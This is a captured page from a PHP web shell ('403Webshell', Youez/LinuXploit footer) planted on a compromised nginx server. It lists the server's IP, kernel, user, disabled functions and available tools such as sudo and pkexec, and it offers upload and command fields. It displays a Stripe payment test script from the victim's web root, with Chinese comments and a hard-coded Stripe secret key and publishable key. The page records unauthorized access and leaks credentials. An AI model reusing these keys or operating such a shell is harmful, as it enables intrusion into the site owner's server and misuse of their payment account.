403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2025_04_20_01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2025_04_20_01/test_stripe.php
<?php
/**
 * Stripe支付功能测试脚本
 */

require_once __DIR__ . '/vendor/autoload.php';

// 测试Stripe配置
$stripeSecretKey = 'sk_test_51RmUTNHv93QEJFFWM34RRLGvg9FnJO1d9a3of4Qdqx63xu3jrxD36T3ImMyESOel7WNG2uUh1Bfy0obR8d4uo5fb00hHL4LWTt';
$stripePublishableKey = 'pk_test_51RmUTNHv93QEJFFWqstUm7wr3oIVhQpnK4atMORBHeuJMqCz2Bl3kG71iDB9tHTjwn88XlldBHSVGvwIdC6GoQ5v00fs1Abv96';

echo "=== Stripe支付功能测试 ===\n\n";

try {
    // 设置Stripe API密钥
    \Stripe\Stripe::setApiKey($stripeSecretKey);
    echo "✓ Stripe API密钥设置成功\n";
    
    // 测试创建Checkout Session
    $session = \Stripe\Checkout\Session::create([
        'line_items' => [[
            'price_data' => [
                'currency' => 'cny',
                'product_data' => [
                    'name' => '测试产品',
                ],
                'unit_amount' => 500, // 5元,确保超过最低要求
            ],
            'quantity' => 1,
        ]],
        'mode' => 'payment',
        'success_url' => 'http://localhost/test_success.php',
        'cancel_url' => 'http://localhost/test_cancel.php',
    ]);
    
    echo "✓ Checkout Session创建成功\n";
    echo "Session ID: " . $session->id . "\n";
    echo "Checkout URL: " . $session->url . "\n\n";
    
    echo "=== 测试结果 ===\n";
    echo "✓ Stripe SDK加载正常\n";
    echo "✓ API密钥有效\n";
    echo "✓ 可以创建Checkout Session\n";
    echo "✓ 支付功能配置正确\n\n";
    
    echo "现在可以访问以下页面测试支付功能:\n";
    echo "1. 测试页面:http://localhost/test_payment.php\n";
    echo "2. 直接支付:http://localhost/pay.php?aid=1\n";
    echo "3. 测试卡号:4242 4242 4242 4242\n";
    
} catch (Exception $e) {
    echo "❌ 测试失败:\n";
    echo "错误信息:" . $e->getMessage() . "\n";
    echo "请检查Stripe API密钥是否正确配置。\n";
}
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit